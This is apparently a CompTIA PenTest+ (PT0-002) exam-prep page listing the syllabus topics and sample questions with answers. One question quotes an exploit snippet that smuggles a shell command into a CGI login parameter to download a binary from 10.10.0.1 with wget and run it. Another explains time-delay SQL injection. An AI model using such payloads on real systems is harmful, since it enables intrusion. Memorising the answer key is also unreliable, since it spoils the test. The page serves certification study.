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CompTIA PT0-002 Exam Syllabus Topics:

TopicDetails

Planning and Scoping - 15%

Explain the importance of planning for an engagement.- Understanding the target audience
- Rules of engagement
- Communication escalation path
- Resources and requirements
  • Confidentiality of findings
  • Known vs. unknown

- Budget
- Impact analysis and remediation timelines
- Disclaimers

  • Point-in-time assessment
  • Comprehensiveness

- Technical constraints
- Support resources

  • WSDL/WADL
  • SOAP project file
  • SDK documentation
  • Swagger document
  • XSD
  • Sample application requests
  • Architectural diagrams
Explain key legal concepts.- Contracts
  • SOW
  • MSA
  • NDA

- Environmental differences

  • Export restrictions
  • Local and national government restrictions
  • Corporate policies

- Written authorization

  • Obtain signature from proper signing authority
  • ​Third-party provider authorization when necessary
Explain the importance of scoping an engagement properly.- Types of assessment
  • Goals-based/objectives-based
  • Compliance-based
  • Red team

- Special scoping considerations

  • Premerger
  • Supply chain

- Target selection

  • Targets
    1. Internal
    - On-site vs. off-site
    2. External
    3. First-party vs. third-party hosted
    4. Physical
    5. Users
    6. SSIDs
    7. Applications
  • Considerations
    1. White-listed vs. black-listed
    2. Security exceptions
    - IPS/WAF whitelist
    - NAC
    - Certificate pinning
    - Company’s policies

- Strategy

  • Black box vs. white box vs. gray box

- Risk acceptance
- Tolerance to impact
- Scheduling
- Scope creep
- Threat actors

  • Adversary tier
    1. APT
    2. Script kiddies
    3. Hacktivist
    4. Insider threat
  • Capabilities
  • Intent
  • Threat models
Explain the key aspects of compliance-based assessments.- Compliance-based assessments, limitations and caveats
  • Rules to complete assessment
  • Password policies
  • Data isolation
  • Key management
  • Limitations
    1. Limited network access
    2. Limited storage access

- Clearly defined objectives based on regulations

Information Gathering and Vulnerability Identification - 22%

Given a scenario, conduct information gathering using appropriate techniques.- Scanning
- Enumeration
  • Hosts
  • Networks
  • Domains
  • Users
  • Groups
  • Network shares
  • Web pages
  • Applications
  • Services
  • Tokens
  • Social networking sites

- Packet crafting
- Packet inspection
- Fingerprinting
- Cryptography

  • Certificate inspection

- Eavesdropping

  • RF communication monitoring
  • Sniffing
    1. Wired
    2. Wireless

- Decompilation
- Debugging
- Open Source Intelligence Gathering

  • Sources of research
    1. CERT
    2. NIST
    3. JPCERT
    4. CAPEC
    5. Full disclosure
    6. CVE
    7. CWE
Given a scenario, perform a vulnerability scan.- Credentialed vs. non-credentialed
- Types of scans
  • Discovery scan
  • Full scan
  • Stealth scan
  • Compliance scan

- Container security
- Application scan

  • Dynamic vs. static analysis

- Considerations of vulnerability scanning

  • Time to run scans
  • Protocols used
  • Network topology
  • Bandwidth limitations
  • Query throttling
  • Fragile systems/non-traditional assets
Given a scenario, analyze vulnerability scan results.- Asset categorization
- Adjudication
  • False positives

- Prioritization of vulnerabilities
- Common themes

  • Vulnerabilities
  • Observations
  • Lack of best practices
Explain the process of leveraging information to prepare for exploitation.- Map vulnerabilities to potential exploits
- Prioritize activities in preparation for penetration test
- Describe common techniques to complete attack
  • Cross-compiling code
  • Exploit modification
  • Exploit chaining
  • Proof-of-concept development (exploit development)
  • Social engineering
  • Credential brute forcing
  • Dictionary attacks
  • Rainbow tables
  • Deception
Explain weaknesses related to specialized systems.- ICS
- SCADA
- Mobile
- IoT
- Embedded
- Point-of-sale system
- Biometrics
- Application containers
- RTOS

Attacks and Exploits - 30%

Compare and contrast social engineering attacks.- Phishing
  • Spear phishing
  • SMS phishing
  • Voice phishing
  • Whaling

- Elicitation

  • Business email compromise

- Interrogation
- Impersonation
- Shoulder surfing
- USB key drop
- Motivation techniques

  • Authority
  • Scarcity
  • Social proof
  • Urgency
  • Likeness
  • Fear
Given a scenario, exploit network-based vulnerabilities.- Name resolution exploits
  • NETBIOS name service
  • LLMNR

- SMB exploits
- SNMP exploits
- SMTP exploits
- FTP exploits
- DNS cache poisoning
- Pass the hash
- Man-in-the-middle

  • ARP spoofing
  • Replay
  • Relay
  • SSL stripping
  • Downgrade

- DoS/stress test
- NAC bypass
- VLAN hopping

Given a scenario, exploit wireless and RF-based vulnerabilities.- Evil twin
  • Karma attack
  • Downgrade attack

- Deauthentication attacks
- Fragmentation attacks
- Credential harvesting
- WPS implementation weakness
- Bluejacking
- Bluesnarfing
- RFID cloning
- Jamming
- Repeating

Given a scenario, exploit application-based vulnerabilities.- Injections
  • SQL
  • HTML
  • Command
  • Code

- Authentication

  • Credential brute forcing
  • Session hijacking
  • Redirect
  • Default credentials
  • Weak credentials
  • Kerberos exploits

- Authorization

  • Parameter pollution
  • Insecure direct object reference

- Cross-site scripting (XSS)

  • Stored/persistent
  • Reflected
  • DOM

- Cross-site request forgery (CSRF/XSRF)
- Clickjacking
- Security misconfiguration

  • Directory traversal
  • Cookie manipulation

- File inclusion

  • Local
  • Remote

- Unsecure code practices

  • Comments in source code
  • Lack of error handling
  • Overly verbose error handling
  • Hard-coded credentials
  • Race conditions
  • Unauthorized use of functions/unprotected APIs
  • Hidden elements
    1. Sensitive information in the DOM
  • Lack of code signing
Given a scenario, exploit local host vulnerabilities.- OS vulnerabilities
  • Windows
  • Mac OS
  • Linux
  • Android
  • iOS

- Unsecure service and protocol configurations
- Privilege escalation

  • Linux-specific
    1. SUID/SGID programs
    2. Unsecure SUDO
    3. Ret2libc
    4. Sticky bits
  • Windows-specific
    1. Cpassword
    2. Clear text credentials in LDAP
    3. Kerberoasting
    4. Credentials in LSASS
    5. Unattended installation
    6. SAM database
    7. DLL hijacking
  • Exploitable services
    1. Unquoted service paths
    2. Writable services
  • Unsecure file/folder permissions
  • Keylogger
  • Scheduled tasks
  • Kernel exploits

- Default account settings
- Sandbox escape

  • Shell upgrade
  • VM
  • Container

- Physical device security

  • Cold boot attack
  • JTAG debug
  • Serial console
Summarize physical security attacks related to facilities.- Piggybacking/tailgating
- Fence jumping
- Dumpster diving
- Lock picking
- Lock bypass
- Egress sensor
- Badge cloning
Given a scenario, perform post-exploitation techniques.- Lateral movement
  • RPC/DCOM
    1. PsExec
    2. WMI
    3. Scheduled tasks
  • PS remoting/WinRM
  • SMB
  • RDP
  • Apple Remote Desktop
  • VNC
  • X-server forwarding
  • Telnet
  • SSH
  • RSH/Rlogin

- Persistence

  • Scheduled jobs
  • Scheduled tasks
  • Daemons
  • Back doors
  • Trojan
  • New user creation

- Covering your tracks

Penetration Testing Tools - 17%

Given a scenario, use Nmap to conduct information gathering exercises.- SYN scan (-sS) vs. full connect scan (-sT)
- Port selection (-p)
- Service identification (-sV)
- OS fingerprinting (-O)
- Disabling ping (-Pn)
- Target input file (-iL)
- Timing (-T)
- Output parameters
  • oA
  • oN
  • oG
  • oX
Compare and contrast various use cases of tools.- Use cases
  • Reconnaissance
  • Enumeration
  • Vulnerability scanning
  • Credential attacks
    1. Offline password cracking
    2. Brute-forcing services
  • Persistence
  • Configuration compliance
  • Evasion
  • Decompilation
  • Forensics
  • Debugging
  • Software assurance
    1. Fuzzing
    2. SAST
    3. DAST

- Tools

  • Scanners
    1. Nikto
    2. OpenVAS
    3. SQLmap
    4. Nessus
  • Credential testing tools
    1. Hashcat
    2. Medusa
    3. Hydra
    4. Cewl
    5. John the Ripper
    6. Cain and Abel
    7. Mimikatz
    8. Patator
    9. Dirbuster
    10. W3AF
  • Debuggers
    1. OLLYDBG
    2. Immunity debugger
    3. GDB
    4. WinDBG
    5. IDA
  • Software assurance
    1. Findbugs/findsecbugs
    2. Peach
    3. AFL
    4. SonarQube
    5. YASCA
  • OSINT
    1. Whois
    2. Nslookup
    3. Foca
    4. Theharvester
    5. Shodan
    6. Maltego
    7. Recon-NG
    8. Censys
  • Wireless
    1. Aircrack-NG
    2. Kismet
    3. WiFite
  • Web proxies
    1. OWASP ZAP
    2. Burp Suite
  • Social engineering tools
    1. SET
    2. BeEF
  • Remote access tools
    1. SSH
    2. NCAT
    3. NETCAT
    4. Proxychains
  • Networking tools
    1. Wireshark
    2. Hping
  • Mobile tools
    1. Drozer
    2. APKX
    3. APK studio
  • MISC
    1. Searchsploit
    2. Powersploit
    3. Responder
    4. Impacket
    5. Empire
    6. Metasploit framework
Given a scenario, analyze tool output or data related to a penetration test.- Password cracking
- Pass the hash
- Setting up a bind shell
- Getting a reverse shell
- Proxying a connection
- Uploading a web shell
- Injections
Given a scenario, analyze a basic script (limited to Bash, Python, Ruby, and PowerShell).- Logic
  • Looping
  • Flow control

- I/O

  • File vs. terminal vs. network

- Substitutions
- Variables
- Common operations

  • String operations
  • Comparisons

- Error handling
- Arrays
- Encoding/decoding


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CompTIA PenTest+ Certification Sample Questions (Q14-Q19):

NEW QUESTION # 14
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%27&loginUser=a&Pwd=a" exploit += "HTTP/1.1" Which of the following commands should the penetration tester run post-engagement?

  • A. grep -v apache ~/.bash_history > ~/.bash_history
  • B. taskkill /IM "apache" /F
  • C. rm -rf /tmp/apache
  • D. chmod 600 /tmp/apache

Answer: C


NEW QUESTION # 15
Which of the following tools would BEST allow a penetration tester to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine?

  • A. EAPHammer
  • B. Kismet
  • C. Aircrack-ng
  • D. Wireshark

Answer: C

Explanation:
Explanation
The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1].
Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.
The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1].
Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.


NEW QUESTION # 16
A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?

  • A. tcpdump
  • B. dig
  • C. Socat
  • D. Scapy

Answer: D

Explanation:
Explanation
https://thepacketgeek.com/scapy/building-network-tools/part-09/


NEW QUESTION # 17
Which of the following assessment methods is MOST likely to cause harm to an ICS environment?

  • A. Protocol reversing
  • B. Packet analysis
  • C. Ping sweep
  • D. Active scanning

Answer: D


NEW QUESTION # 18
A penetration tester analyzed a web-application log file and discovered an input that was sent to the company's web application. The input contains a string that says "WAITFOR." Which of the following attacks is being attempted?

  • A. SQL injection
  • B. HTML injection
  • C. Remote command injection
  • D. DLL injection

Answer: A

Explanation:
Explanation
WAITFOR can be used in a type of SQL injection attack known as time delay SQL injection or blind SQL injection34. This attack works on the basis that true or false queries can be answered by the amount of time a request takes to complete. For example, an attacker can inject a WAITFOR command with a delay argument into an input field of a web application that uses SQL Server as its database. If the query returns true, then the web application will pause for the specified period of time before responding; if the query returns false, then the web application will respond immediately. By observing the response time, the attacker can infer information about the database structure and data1.
Based on this information, one possible answer to your question is A.
SQL injection, because it is an attack that exploits a vulnerability in a web application that allows an attacker to execute arbitrary SQL commands on the database server.


NEW QUESTION # 19
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